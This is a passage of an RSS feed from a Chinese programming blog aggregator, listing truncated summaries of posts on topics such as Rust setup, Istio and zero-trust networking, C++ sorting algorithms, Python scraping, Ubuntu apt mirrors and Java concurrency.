Tracking）备份功能实现FusionSphere的虚拟机数据备份方案。&#xA;UltraVR&#xA;UltraVR是容灾业务管理软件，利用底层SAN存储系统提供的异步远程复制特性，提供虚拟机关键数据的数据保护和容灾恢复。&#xA;FusionCompute技术特点 统一虚拟化平台 FusionCompute采用虚拟化管理软件，将计算资源划分为多个虚拟机资源，为用户提供高性能、可运营、可管理的虚拟机。</description>
    </item>
    <item>
      <title>c&#43;&#43; GUI应用---吃豆人游戏(Visual Studio 2019)</title>
      <link>https://bchobby.github.io/posts/6987242ee2f643b17e6690d2b92f15d1/</link>
      <pubDate>Sat, 20 Aug 2022 09:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6987242ee2f643b17e6690d2b92f15d1/</guid>
      <description>源码地址：https://download.csdn.net/download/m0_51152186/86404896​​​​​​​&#xA;一、GUI简介&#xA;1、概念：图形用户界面，是指采用图形方式显示的计算机操作用户界面&#xA;2、核心技术：Swing、AWT&#xA;3、优点&#xA;（1）可以写出我们心中想要的一些小工具&#xA;（2）工作时候，也许需要维护到 Swing 界面&#xA;（3）了解 MVC 架构，了解监听&#xA;使用GDI绘图&#xA;（1）画点&#xA;在pacman.cpp文件中找到：&#xA;// 获取消息&#xA;if(PeekMessage(&amp;amp;msg, NULL, 0, 0, PM_REMOVE)) {&#xA;if(msg.message == WM_QUIT) {&#xA;break;&#xA;}&#xA;TranslateMessage(&amp;amp;msg);&#xA;DispatchMessage(&amp;amp;msg);&#xA;}&#xA;在这段代码下方增加如下的代码：&#xA;// 画点测试&#xA;{&#xA;HDC hdc = ::GetDC(g_hwnd); // 获得设备句柄&#xA;SetPixel(hdc, rand() % WLENTH , rand() % WHIGHT, // 在随机的位置一个随机颜色的点&#xA;RGB(rand() % 256, rand() % 256, rand() % 256));&#xA;::ReleaseDC(g_hwnd, hdc); // 释放设备&#xA;}&#xA;（2）画线段&#xA;将刚才 /画点即其后大括号内的代码</description>
    </item>
    <item>
      <title>Rust实战系列-Rust介绍</title>
      <link>https://bchobby.github.io/posts/d161c10af92881098306dfdb50ccd877/</link>
      <pubDate>Fri, 19 Aug 2022 23:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d161c10af92881098306dfdb50ccd877/</guid>
      <description>“&#xA;学习资料：rust in action[1]&#xA;1. Rust 安装 curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh source&#34;$HOME/.cargo/env&#34; 2. hello world 创建 hello 项目 mkdir rust_tmp &amp;amp;&amp;amp; cd rust_tmp cargo new hello cd hello cargo run 看到这样的输出，就表示已经成功运行了 Rust 项目，尽管还没写任何代码。接下来看看发生了什么。&#xA;Cargo Cargo 是一个同时提供项目构建和软件包管理功能的工具。也就是说，Cargo 执行 rustc（Rust 编译器）将 Rust 代码转换为可执行的二进制文件或共享库。cargo new会创建一个遵循标准模板的项目，目录结构如下：&#xA;Cargo.toml：描述项目的元数据信息（项目名，版本，依赖）&#xA;[package] name = &#34;hello&#34; version = &#34;0.1.0&#34; edition = &#34;2021&#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] src：源码目录，Rust 的源码文件扩展名为 .</description>
    </item>
    <item>
      <title>istio和sdp(软件定义边界)</title>
      <link>https://bchobby.github.io/posts/1c021db6b0768df2db58c3202f7cc166/</link>
      <pubDate>Fri, 19 Aug 2022 17:37:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c021db6b0768df2db58c3202f7cc166/</guid>
      <description>零信任原生安全：超越云原生安全 - DockOne.io&#xA;GitHub - greenstatic/opensdp: A proof of concept Software Defined Perimeter (SDP) implementation using OpenSPA for service hiding&#xA;开源SDP 软件定义边界环境的安装和搭建_caoli4608的博客-CSDN博客_sdp 开源&#xA;SDP Specification v1.0 | CSA&#xA;https://lindat.mff.cuni.cz/repository/xmlui/handle/11234/1-1956&#xA;SDP（软件定义边界）让SDN更安全,你的对面可不能是一条狗！ - 腾讯云开发者社区-腾讯云&#xA;SDP标准规范1.0 - 道客巴巴&#xA;百度安全验证&#xA;云原生应用的零信任&#xA;上一节主要谈的是IaaS和PaaS平台的零信任，在SaaS场景中，随着敏捷开发、高效运营的驱动下，用户越来越多地使用服务网格（Service Mesh）等云原生的架构开发应用。这些应用所在的基础设施虽然还在活跃开发中，但因现代化、软件化的基础设施使能、来自互联网攻击的防护需求，零信任理念已经随之落地。&#xA;云原生场景中，应用的颗粒度会被切得非常细，一个容器通常只运行一个或少数若干进程，故服务称之为微服务。所以，通常实现一个业务需要多个微服务的交互，所以在云原生场景中，服务之间的访问关系非常复杂，不能依靠实现固化的访问控制逻辑，而是应该按照业务的逻辑确定微服务间安全策略，划分微服务的边界进行持续有效的隔离，以及对微服务之间一致的访问权限控制，就变得非常重要。为了解决这个问题，云原生的系统通常都会有数据和管理平面的鉴权机制。&#xA;而在服务网格场景下，零信任还应覆盖微服务间的交互，这部分需要使用面向云原生的服务零信任机制。比较典型的方案是Google的Istio，我们在以前的文章（Istio的安全机制防护）中已有分析，也可参见官方文档。从功能上看，Istio可为微服务无缝加入认证授权和加密通信的功能。其思想是通过策略控制器，使用Kubernetes的RBAC授权机制，对资源粒度细到单个服务的访问进行控制，从而所有的服务交互都是可信的。&#xA;Istio在控制平面上，由Citadel组件做认证，Pilot组件做授权；数据平面上，在源目的服务旁插入Sidecar容器，截获进出流量，在进行加解密的同时，也根据Pilot的策略进行访问控制。&#xA;图5 Istio的访问控制和数据平面&#xA;图6 Istio的工作流程和组件&#xA;从效果看，如果攻击者没有合法身份，是无法在数据平面横向移动。因为在网络层，设置了网络策略白名单后，网络层的非法访问被禁止；而在服务层，微服务Pod开放服务较少，且都引入了认证和业务层访问控制，攻击者也很难发起非授权的连接。&#xA;从数据平面分析，Istio和SDP都需要对网络做比较大的修改。如SDP需要添加IH和AH，客户端需要添加组件，服务端也需要部署代理，而Istio的Sidecar容器也需要部署在所有业务容器旁，且截获流量，通过重写IPTABLES NAT表的方式将处理完的流量送回业务容器。&#xA;从结果观察，SDP在传统企业网络中部署因为上述原因遇到了非常大的挑战，但可预计Sidecar的部署模式会在服务网格环境中会成为主流的安全防护技术路线。原因是Sidecar虽然是一种侵入性部署模式，但全程自动化、用户友好：Istio主动监听Kubernetes-api服务获得新服务部署事件，通过仓库自动部署Sidecar容器，通过Init容器劫持流量，最后Sidecar使用Citadel和RBAC策略进行认证授权。一方面，业务方对安全机制毫无感知，所有开发、测试和运维均保持不变；另一方面，应用间能实现完备的认证和授权，最终达到内生安全。&#xA;零信任原生安全 软件定义边界(SDP)_百度百科&#xA;SDP与零信任安全 编辑 语音&#xA;零信任安全是一种理念，软件定义边界SDP是实践零信任安全理念的技术架构与方案。企业可以通过部署SDP产品或者解决方案来实现零信任安全理念中的原则。零信任理念强调：“Never Trust、Always Verify”。SDP的网络隐身技术可以很好实现Never Trust原则。区别于传统TCP/IP网络的默认允许连接，在没有经过身份验证和授权之前，服务器对于终端用户是完全不可见的，从By Default Trust变成Never Trust。另外，区别于传统网络安全验证的Verify Once，通过在SDP网关实施实时的动态可信授权验证，可以实现对于连接授权的Always Verify。SDP是一种快速高效的零信任安全实践技术架构，因此也被行业广泛应用。&#xA;SDP技术架构 编辑 语音&#xA;SDP安全模型由3大组件构成，分别是：1）Initiating SDP Host，即IH；2） Accepting SDP Host，即AH；3）SDP Controller，即控制器。3大组件的关系分成两个平面：1）控制平面和2）数据平面。AH 和 IH 都会连接到Controller。IH和AH 之间的连接是通过Controller与安全控制信道的交互来管理的。该结构使得控制平面能够与数据平面保持分离，以便实现完全可扩展的安全系统。此外，所有组件都可以是集群的，用于扩容或提高稳定运行时间。 [3]</description>
    </item>
    <item>
      <title>VS2019 MFC串口通信（基于SerialPort类）</title>
      <link>https://bchobby.github.io/posts/0a0cfe8c10677da48caf8af5dfa32c25/</link>
      <pubDate>Fri, 19 Aug 2022 17:06:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a0cfe8c10677da48caf8af5dfa32c25/</guid>
      <description>VS2019 MFC串口通信（基于SerialPort类） SerialPort类由VC6.0 升级到VS2019遇到的问题总结及解决办法,串口通信（基于SerialPort类）可参考原文链接：[http://blog.csdn.net/humanking7/article/details/48110543]&#xA;写这篇文章主要是为了记录下调试程序过程中遇到的问题，留作以后参考，或是有相同问题的同学可以借鉴下。&#xA;基于VC6.0的串口通信程序，适用版本太低，现在的windows系统基本不支持，因此为了后续开发维护，将软件平台升级为VS2019，调试过程持续了三天，终于调通了，差点就怀疑这条路走不走得通了。还好，坚持着解决一个一个的问题，总算调通了。&#xA;这里具体记录下遇到的问题：&#xA;1、直接复制VC6.0版本的SerialPort.cpp和SerialPort.h文件。（本来有适用于VS2019的，但无奈按字符串接收WM_COMM_RXSTR可响应，而按字符接收WM_COMM_RXCHAR无响应，因此放弃）。具体操作过程参见其他博客，这里不再赘述。&#xA;2、需要将OncommMscomm(WPARAM ch, LPARAM port)函数类型更改为LRESULT。&#xA;3、显示错误“char*”类型的实参与“LPCWSTR”类型的形参不兼容时，需要点击项目属性-&amp;gt;然后在属性页中点击-&amp;gt;高级-&amp;gt;字符集-&amp;gt;将其值改为使用多字节字符集。&#xA;4、编译报4996错误时，可在SerialPort.h文件第1行，即所有头文件之前添加代码#pragma warning( disable : 4996)解决。&#xA;5、Run-Time Check Failure #3 - The variable ‘comstat’ is being used without being initialized 报错，百度有三种解决方案，本人采用的是将CSerialPort.CPP中的COMSTAT comstat;改为static COMSTAT comstat;&#xA;目前遇到的基本上就是这些问题，总的思想是：从VC6.0升级到VS2019这条路是可行的，剩下的就是遇到具体问题直接百度，都可以找到解决办法。☺☺☺☺☺☺☺</description>
    </item>
    <item>
      <title>【Python入门】爬虫入门</title>
      <link>https://bchobby.github.io/posts/3d202ccc239db7c5a4a6fac2fae56625/</link>
      <pubDate>Fri, 19 Aug 2022 15:52:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d202ccc239db7c5a4a6fac2fae56625/</guid>
      <description>目录&#xA;（一）概述&#xA;（二）获得HTML&#xA;requests模块&#xA;获取headers&#xA;（三）爬取数据&#xA;正则表达式&#xA;re模块&#xA;正则提取&#xA;（四）保存数据&#xA;（五）实践-爬取B站top100&#xA;（一）概述 网页中的信息，大部分会出现在网页的源代码中，而爬虫的本质，就是从网页的源代码中爬取所需要的信息。&#xA;具体步骤可以概括为：伪装成User-Agent向网页服务器发送请求，获得响应，将响应解析成HTML源代码，再通过正则表达式等匹配手段提取出位于源代码中的特定信息，再将所提取的信息保存到Excel或数据库中，供数据可视化和数据分析使用。&#xA;欲实现以上步骤，我们需要导入re、bs4、requests（或者urllib.request）、xlwt和sqlite3模块,它们的功能如下：&#xA;# 向服务器发送请求并解析响应（following2选1） import urllib.request import requests # 定位信息，匹配信息 from bs4 import BeautifulSoup # 定位标签 import re # 进行正则匹配 # 保存数据 import xlwt # 保存到Excel import sqlite3 # 保存到数据库 （二）获得HTML requests模块 我们以requests模块举例，urllib模块中也有同样功能的方法。在requests模块中，我们可以使用get方法来向服务器发送请求并返回响应，再通过text方法将响应解析成HTML。在get方法中，我们主要需要的参数是URL（网址）和headers（用于伪装成浏览器）。我们以爬取b站top100举例:&#xA;import requests url = &#39;b站排行榜网址&#39; head = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) &#39; &#39;AppleWebKit/537.36 (KHTML, like Gecko) &#39; &#39;Chrome/104.0.5112.81 &#39; &#39;Mobile Safari/537.</description>
    </item>
    <item>
      <title>C&#43;&#43; 十大数组排序（冒泡排序、选择排序、插入排序、希尔排序、归并排序、快速排序、堆排序、计数排序、桶排序、基数排序）</title>
      <link>https://bchobby.github.io/posts/e310755132b8f84bb11c96064231fd08/</link>
      <pubDate>Fri, 19 Aug 2022 15:31:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e310755132b8f84bb11c96064231fd08/</guid>
      <description>一、简单总结： 1.冒泡排序：不断把大的往后移一步，排序终点随着循环往前移；&#xA;2.选择排序：维护排序起点，把最小挑出来放前面；&#xA;3.插入排序：维护排序起点，从链表起点开始找插入位置，把小的往前插；&#xA;4.希尔排序：可以理解为分组的插入排序，按增长量作为分组的依据，将一定间隔的数据分为一组进行插入排序，不断减小增长量，重复插入排序的操作，直到增长量为1；&#xA;5.归并排序：先递归对数组进行二分，直到每一组只剩一个元素(绝对有序)，再进行有序数组的合并；&#xA;6.快排排序：将最左边的节点作为参照数(传统快排)，双指针，右指针负责找比参照数小的节点，左指针负责不断将大于参照数的节点与快指针节点进行值交换（注意这里一定要右指针先动，否则可能遇到参照数刚好为最大元素，左指针一直找不到大于参照数的数值，参照数没有被正确交换到数组尾部）；&#xA;7.堆排序：建立一个大顶堆，不断的将堆顶的元素与数组末端的元素交换位置，关键在于维护堆性质的函数heapify C++自建堆&#xA;8.计数排序：设立一个大小为数组最大值的数组count(n)，记录count[num]，通过计数累计和的方式定位原数组中每个元素在排序数组的位置&#xA;9.桶排序：根据数组的值域区间设定桶数量和桶大小，将每个元素根据大小放到对应的桶上面，在桶内使用快速排序，最后合并每个排序好的桶&#xA;10.基数排序：结合了计数排序和桶排序的思想，从个位开始，按照数字的每一位进行0-9的桶排序，桶合并采用计数累计和的思想确认桶内元素合并后的位置&#xA;二、代码及注释 #include &amp;lt;iostream&amp;gt; #include&amp;lt;vector&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; void printArray(vector&amp;lt;int&amp;gt;&amp;amp;nums) { for (const int&amp;amp; num : nums) { cout &amp;lt;&amp;lt; num &amp;lt;&amp;lt; &#39; &#39;; } cout &amp;lt;&amp;lt; endl; } // 冒泡排序 void bubbleSort(vector&amp;lt;int&amp;gt;&amp;amp;nums) { int n = nums.size(); for (int i = 0; i &amp;lt; n; ++i) { // 每次循环把最大的数换到n-i-1的位置 for (int j = 1; j &amp;lt; n-i; ++j) { if (nums[j - 1] &amp;gt; nums[j]) swap(nums[j], nums[j - 1]); } } } // 选择排序 void selectSort(vector&amp;lt;int&amp;gt;&amp;amp; nums) { int n = nums.</description>
    </item>
    <item>
      <title>为华生物PCL-MPEG 聚己内酯甲氧基聚乙二醇的简介和应用说明</title>
      <link>https://bchobby.github.io/posts/57a7f38a65711e7ef31f29392a6eda5a/</link>
      <pubDate>Fri, 19 Aug 2022 15:25:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57a7f38a65711e7ef31f29392a6eda5a/</guid>
      <description>甲氧基聚乙二醇聚己内酯（mPEG-PCL）可以作为各种药物的载体材料。应用于医药研究、药性缓释、纳米新材料研究、细胞培养，在取用时，从冰箱取出之后，放置于干燥处让其缓慢升至室温，现配现用，取用完之后充入惰性气体，及时放入低温环境，长期保存需放入-20℃干燥避光存放。&#xA;甲氧基聚乙二醇-聚己内酯（mPEG-PCL）是一种嵌段共聚物，一端是亲水链段-甲氧基聚乙二醇，一端是亲油链段-聚己内酯。通过调整分子量或者亲水/亲油链段比值，甲氧基聚乙二醇-聚己内酯可以作为不同种类药物的载体材料&#xA;Methoxypolyethylene glycol polycaprolactone (MPEG PCL) can be used as a carrier material for various drugs. It is used in pharmaceutical research, drug release, nano new material research and cell culture. When it is taken out of the refrigerator, it is placed in a dry place to slowly rise to room temperature. It is ready for use. After it is taken out, it is filled with inert gas and put into a low-temperature environment in time.</description>
    </item>
    <item>
      <title>因果推断-【The MineThatData E-Mail Analytics And Data Mining Challenge】思路分析与Python实现代码</title>
      <link>https://bchobby.github.io/posts/6a665b1d1101381e472b1f68f6b824b8/</link>
      <pubDate>Fri, 19 Aug 2022 15:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a665b1d1101381e472b1f68f6b824b8/</guid>
      <description>目录&#xA;一、数据集介绍&#xA;二、问题及分析思路&#xA;1、问题&#xA;2、分析思路&#xA;三、代码&#xA;一、数据集介绍 数据集来源于用户在网上的购物行为，涵盖了过去一年有购买行为的64000个用户，这些用户被用于电子邮件营销活动的实验分析。实验的目的是衡量哪个版本的电子邮件营销活动最有效，以及针对哪部分人群最有效。用户被随机地分为以下三组：&#xA;1/3的用户会收到一封以男士商品为主的电子营销邮件（实验组-男士版）1/3的用户会收到一封以女士商品为主的电子营销邮件（实验组-女士版）1/3的用户不会收到邮件（对照组） 两周后收集实验结果，可用的特征有：&#xA;Recency：距离最近一次购买行为，经过了多少个月History：过去一年用户实际花费的金额Mens: 1/0，1-过去一年用户购买过男士用品Womens: 1/0，1-过去一年用户购买过女士用品Zip_Code:：地区Newbie: 1/0，1-过去一年内的新用户Channel: 过去一年用户的购物渠道 用于描述用户的分组信息：&#xA;Segment：有三个枚举值分别是Mens-E-mail、Womens-E-mail和No-E-mail 实验有三个评价指标，分别是：&#xA;Visit：1/0，1-用户在两周内访问了网站Conversion：1/0，1-用户在两周内有购买行为Spend：用户在两周内实际消费的金额 二、问题及分析思路 1、问题 数据集的提供者提出了8个问题：&#xA;哪个电子邮件活动最有效，男士版还是女士版？男士版电子邮件活动为每位顾客带来了多少销售额的增加？女士版电子邮件活动为每位顾客带来了多少销售额的增加？如果你只能给10000个顾客发送Email，你会选择哪些顾客？为什么？如果你可以从收到电子邮件的顾客中剔除10000个人，不让他们参加此活动，你会选择哪些顾客？为什么？对于不同的客户群体，男士版本和女士版本的活动效果有差异吗？当选择不同的评价指标，比如访问、转化和消费额时，活动效果有差异吗？你是否观察到任何异常或奇怪的发现？根据实验结果，你会将男士版和女士版的投放定位到哪些顾客？你会用哪些数据来支持你的建议？ 2、分析思路 Q1&amp;amp;Q6：&#xA;结论：&#xA;男士版活动最有效，visit、conversion、spend三个指标均比女士版效果明显。&#xA;思路：&#xA;这两个Q思路是一样的，本质都是在计算ATE。先做PSM匹配合适的对照样本，然后分别计算vist、conversion和spend三个指标的ATE，比较男士版本和女士版本的差异。&#xA;实验结果：&#xA;Q2：&#xA;思路：&#xA;这道题本质是在问，选择spend作为评价指标时的ITE是多少，和第一题的思路差不多，先做PSM，然后计算实验组每个用户的ITE。&#xA;Q3&amp;amp;Q4：&#xA;思路：&#xA;这两个Q本质上是一个问题，即如何按发送邮件的优先级给用户排个序？然后我们只需要取排序后的前10000和后10000个用户即可。&#xA;首先，我们可以根据用户的自然行为和受处理后行为这两个维度将用户分成四类，那么第二象限的用户是对营销活动最敏感的，如果发送邮件，应该优先发送给这部分用户。 其次，应该给第一象限的用户发送邮件，邮件对这部分用户也有一定的作用。最后，剩余的用户按照消费间隔(recency)和消费等级(history_segment)综合排序，距离上次购买间隔越久远越优先发送，消费等级越高越优先发送。&#xA;Q5&amp;amp;Q8：&#xA;结论：&#xA;男士版建议投放人群：&#xA;1）历史消费段在$350-1000用户群&#xA;2）多渠道购物用户群&#xA;女士版本建议投放人群：&#xA;1）历史消费段在$500-750和$1000+的用户群&#xA;2）多渠道购物用户群&#xA;3）新用户群&#xA;思路：&#xA;这两个Q本质都是进行HTE分析，通过比较实验在不同细分群体的效果，从而决定最佳投放人群。我们可以以ATE作为benchmark，如果细分群的CATE明显高于ATE，证明细分群的实验效应是显著的。&#xA;消费段(history_segment)比较，男士版在$350-500，$500-750和$750-1000这三个消费段的uplift是显著的，而女士版则是在$500-750和$1000+这两个消费段显著。说明男士版对中高档消费人群是有效的，而女士版则是对高档消费人群更有效。&#xA;购物渠道(channel)比较，可以看出男士版和女士版都在Multichannel渠道有显著的uplift，说明过去曾在多个渠道有购物行为的用户（各处买买买），对邮件营销更加敏感。&#xA;新老用户(Newbie)比较，男士版对新老用户的效果差不多，而女士版显然对新用户更有效果。&#xA;Q7：&#xA;这里有一个很有意思的发现：女士版的营销邮件对曾购买过女士用品的顾客效果很好，但对购买过男士用品的顾客效果一般。而男士版本的营销邮件却没有存在这个问题。 这反映了现实中的两个现象：&#xA;1）女士一般是家庭购物决策者，所以既会关注女士用品，也会关注男士用品；&#xA;2）男士一般很少给女士买东西，除非在一些纪念日、节假日等有意义的日子，所以女士用品的推荐对男士可能起不到太大作用。&#xA;三、代码 import pandas as pd import psmatching.match as psm import numpy as np import random import operator random.</description>
    </item>
    <item>
      <title>Ubuntu更换国内源（apt更换源）</title>
      <link>https://bchobby.github.io/posts/7485074eaaa239af3f56f7a8850824ee/</link>
      <pubDate>Fri, 19 Aug 2022 14:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7485074eaaa239af3f56f7a8850824ee/</guid>
      <description>网上的教程大部分都是文本命令行的方式更换国内源的，其实Ubuntu18.04也提供了图形界面的方式，这里主要讲图形界面的方式，毕竟点点鼠标就能完成的事儿谁愿意去输命令啊，而且还容易出错，当然这里也附上命令行的方式。&#xA;可能很多人会问到底什么是源呢？&#xA;其实吧它就像苹果和案桌的软件应用商店一样，为Linux用户提供软件下载及更新服务的。&#xA;Linux家族有三个软件源系统：&#xA;yum源，使用这种软件管理器的主要是：RedHat，CentOS&#xA;apt源，使用这种软件管理器的主要是：Ubuntu&#xA;Pacman源，使用这种软件管理器的主要是：archlinux还有新近崛起的Manjaro&#xA;Ubuntu是外国人开发的系统，默认使用的也是国外的源，但是从国内翻^qiang下载国外的软件（插件）源太慢。其实国内也有很多的镜像源，比如说阿里源，网易源，清华园（源），中科大源。&#xA;一般这些源都是做为自己公司的业务服务的，比如说阿里的源，就是为阿里上百万台云服务器提供软件源的，你可以想像一下它的速度能不快吗？&#xA;这里实现切换阿里云源，别看截图很多，其实操作起来很简单滴&#xA;方式一：图形界面 第一步：打开软件和更新&#xA;第二步：设置163源&#xA;这是原来的/etc/apt/sources.list配置文件&#xA;选择其他站点&#xA;选择阿里云源并保存&#xA;关闭配置页面，即保存所有配置&#xA;第三步：正在更新缓存&#xA;关闭之后会弹出一个对话框问你要不要重新载入软件的列表信息&#xA;切换国内源，需要更新缓存，点击重新载入&#xA;更新过以后可以看下/etc/apt/sources.list配置文件&#xA;可以发现sources.list配置文件已经修改成了阿里云源&#xA;方式二：命令行 第一步：修改sources.list配置文件：&#xA;sudo vim /etc/apt/sources.list 在文件最前面添加以下条目，保险起见，的操作之前做好备份&#xA;deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse deb-src http://mirrors.</description>
    </item>
    <item>
      <title>python模块：Scipy.optimize.minimize规划问题求解</title>
      <link>https://bchobby.github.io/posts/4e330595cc1e84033d8035a392dbe49b/</link>
      <pubDate>Fri, 19 Aug 2022 13:53:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e330595cc1e84033d8035a392dbe49b/</guid>
      <description>目录&#xA;一、模块介绍&#xA;二、模块源分析与参数解释&#xA;三、实例求解&#xA;四、参考&#xA;一、模块介绍 1.1模块功能 Scipy.optimize是Scipy中一个用于解决数学模型中优化类模型的子包，该子包中又包含了多个子功能模块见下表，不同方法不同条件求解最优化模型。本节介绍minimize对一般规划问题的模型建立与求解。&#xA;问题类型模块多元标量函数的有/无约束最小化minimize最小二乘法最小化least_squares单变量函数最小化器minimize_scalar线性规划linprog 1.2模型介绍 多元标量函数的最小化，是数学规划模型中更为一般的模型，该模块包括有限制性约束和无限制性约束的最小化，而对于限制性约束又分为线性约束和非线性约束。这种更为一般的模型需要针对具体的问题假设选择特定的方法进行求解。&#xA;在数学规划模型中，minimize提供的方法能够解决无/有（线性、非线性）约束的多个决策变量目标函数的最优化问题，但是由于该模块是依据函数导数与梯度进行求解，不能够求解整数规划、01规划等问题。&#xA;二、模块源分析与参数解释 2.1模块整体介绍 对于整个多元标量的最小化问题，主要的api为optimize包下的minimize函数。该minimize函数的完整参数详情如下。同时，对于不同的method方法，函数的参数也会有相应的限制，这在具体的方法介绍中具体介绍。&#xA;minimize(fun, x0, args=(), method=None, jac=None, hess=None, hessp=None, bounds=None, constraints=(), tol=None, callback=None, options=None) 该函数主要参数意义解释：&#xA;fun待求解的目标函数x0初始猜测的数组args目标函数带参数时需要指定method选择的方法jacjacobian矩阵或梯度函数（梯度求解的方法需要传入）hesshessian矩阵hessp黑塞向量积bounds寻优范围constraints限制约束tol浮动，可以理解为单次寻找的步长上限，越小精度越高callback回调函数options选项字典，不同方法有不同选项 完整的方法options可通过optimize的show_options方法访问&#xA;from scipy.optimize import show_options print(show_options(method=&#39;minimize&#39;)&#xA;该模块提供求解方法字典如下, 通过optimize包导入minimize后，对minimize传入method参数指定方法。而对于不同方法的选用,便有不同的求解策略。我们选择部分主要方法介绍。&#xA;MINIMIZE_METHODS = [&#39;nelder-mead&#39;, &#39;powell&#39;, &#39;cg&#39;, &#39;bfgs&#39;, &#39;newton-cg&#39;, &#39;l-bfgs-b&#39;, &#39;tnc&#39;, &#39;cobyla&#39;, &#39;slsqp&#39;, &#39;trust-constr&#39;, &#39;dogleg&#39;, &#39;trust-ncg&#39;, &#39;trust-exact&#39;, &#39;trust-krylov&#39;] 无约束多元标量最小化选择以下4个方法：&#xA;nelder-mead powellbfgsnewton-cg 有约束多元标量最小化选择方法：&#xA;trust-constr 对于更多的方法可以访问该文档查询：完整方法文档&#xA;2.2 各方法详细介绍 2.2.1 nelder-mead 方法完名称为Nelder-Mead Simplex algorithm Nelder-Mead单纯形法，该方法通过对可行域顶点不断迭代选出最优解。由于是迭代寻优策略，可以指定寻优范围。&#xA;该方法对应参数：&#xA;scipy.optimize.minimize(fun, x0, args=(), method=&#39;Nelder-Mead&#39;, bounds=None, tol=None, callback=None, options={&#39;func&#39;: None, &#39;maxiter&#39;: None, &#39;maxfev&#39;: None, &#39;disp&#39;: False, &#39;return_all&#39;: False, &#39;initial_simplex&#39;: None, &#39;xatol&#39;: 1e-5, &#39;fatol&#39;: 1e-5, &#39;adaptive&#39;: False})</description>
    </item>
    <item>
      <title>多线程之callable详解</title>
      <link>https://bchobby.github.io/posts/4af749e8e3ccff1d7a95ee5b5ecd50e3/</link>
      <pubDate>Fri, 19 Aug 2022 13:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4af749e8e3ccff1d7a95ee5b5ecd50e3/</guid>
      <description>面试有人会问：线程的实现方式有几种？&#xA;很多人可能回答：2种，继承Thread类，实现Runnable接口。&#xA;很多忽略了callable这种方式。&#xA;也许有人知道callable，也知道callable和Runnable的区别是callable可以有返回值，也可以抛出异常的特性，而Runnable没有。&#xA;这里估计很多人懵逼，接下来我们就从源码层次讲解这个问题。&#xA;注意callable可以有返回值，也可以抛出异常这点很关键。&#xA;很多时候我们让多线程去帮我们处理事情，是需要拿到返回值的，有了异常也可以处理，比如某宝的APP页面，一个页面展示3个块，而每个块展示的信息从后端获取的接口都不一样，那么是让前端调后端3次接口吗？&#xA;肯定不行，后端可以把3个块的信息，包装成一个接口，全部返回，那么问题来了，后端调用3个接口，比如第一个接口需要1秒，第二个需要2秒，第三个需要3秒，那么包装的这个接口响应时间最少6秒，怎么解决这个问题呢，可以用多线程来帮我们解决。&#xA;启动3个线程，每个线程去调用一个接口，那么3个线程一共执行完的时间就是最慢的那个线程的执行时间，这样接口的响应时间就变成了3秒，一下节省了一半的时间。&#xA;那么问题来了，线程如何把执行的业务代码的结果返回来呢？这时候就用到callable了。&#xA;FutureTask futureTask=new FutureTask(new Callable() {&#xA;@Override&#xA;public String call() throws Exception {&#xA;Thread.sleep(3000);&#xA;System.out.println(&#34;calld方法执行了&#34;);&#xA;return &#34;call方法返回值&#34;;&#xA;}&#xA;});&#xA;futureTask.run();&#xA;System.out.println(&#34;获取返回值: &#34; + futureTask.get());&#xA;FutureTask futureTask1=new FutureTask(new Callable() {&#xA;@Override&#xA;public String call() throws Exception {&#xA;Thread.sleep(3000);&#xA;System.out.println(&#34;calld方法执行了1&#34;);&#xA;return &#34;call方法返回值1&#34;;&#xA;}&#xA;});&#xA;futureTask1.run();&#xA;System.out.println(&#34;获取返回值1: &#34; + futureTask1.get());&#xA;我们可以调用futureTask.get()方法去获取线程异步的执行结果，&#xA;这时候问题又来了&#xA;那如果2个线程一起执行，futureTask执行完了，futureTask1没执行完会不会有问题。是不是futureTask1就拿不到结果了？&#xA;当然不会，futureTask.get（）方法会保证线程在执行完之前是阻塞的。&#xA;我们看下futureTask源码&#xA;2个一个有时间，一个没有时间，最终都是调用的awaitDone（）这个方法，我们继续看awaitDone&#xA;线程没有执行完，也就是没有到达COMPLETING的状态，会执行LockSupport.park，让线程等待，那什么时候去唤醒呢？&#xA;我们继续看 最后返回线程的执行结果：&#xA;那么再问callable和Runnable有什么联系呢？&#xA;相信大家通过对源码的分析都明白了，callable的call（）方法是被Runnable的run（）方法调用的。</description>
    </item>
    <item>
      <title>ExecutorService详解</title>
      <link>https://bchobby.github.io/posts/223ea51c7e1db4291cec430c2de9efdb/</link>
      <pubDate>Fri, 19 Aug 2022 13:41:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/223ea51c7e1db4291cec430c2de9efdb/</guid>
